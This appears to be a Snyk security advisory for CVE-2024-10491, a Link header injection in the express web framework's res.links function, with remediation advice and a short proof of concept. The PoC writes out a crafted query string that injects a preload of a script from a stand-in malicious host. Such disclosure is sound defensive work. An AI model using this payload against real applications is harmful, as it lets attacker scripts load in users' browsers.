Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting express package, versions <4.0.0-rc1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-EXPRESS-8310337
- published30 Oct 2024
- disclosed29 Oct 2024
- creditAbze
Introduced: 29 Oct 2024
CVE-2024-10491 (opens in a new tab)How to fix?
Upgrade express to version 4.0.0-rc1 or higher.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through the response.links function. An attacker can inject arbitrary resources into the Link header by using unsanitized input that includes special characters such as commas, semicolons, and angle brackets.
PoC
var express = require('express')
var app = express()
app.get('/', function (req, res) {
res.links({"preload": req.query.resource});
if(req.query.resource){
console.log(res.getHeaders().link)
}
res.send('ok');
});
app.listen(3000);
// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';
const url = `http://localhost:3000/${maliciousQueryParam}`;
fetch(url);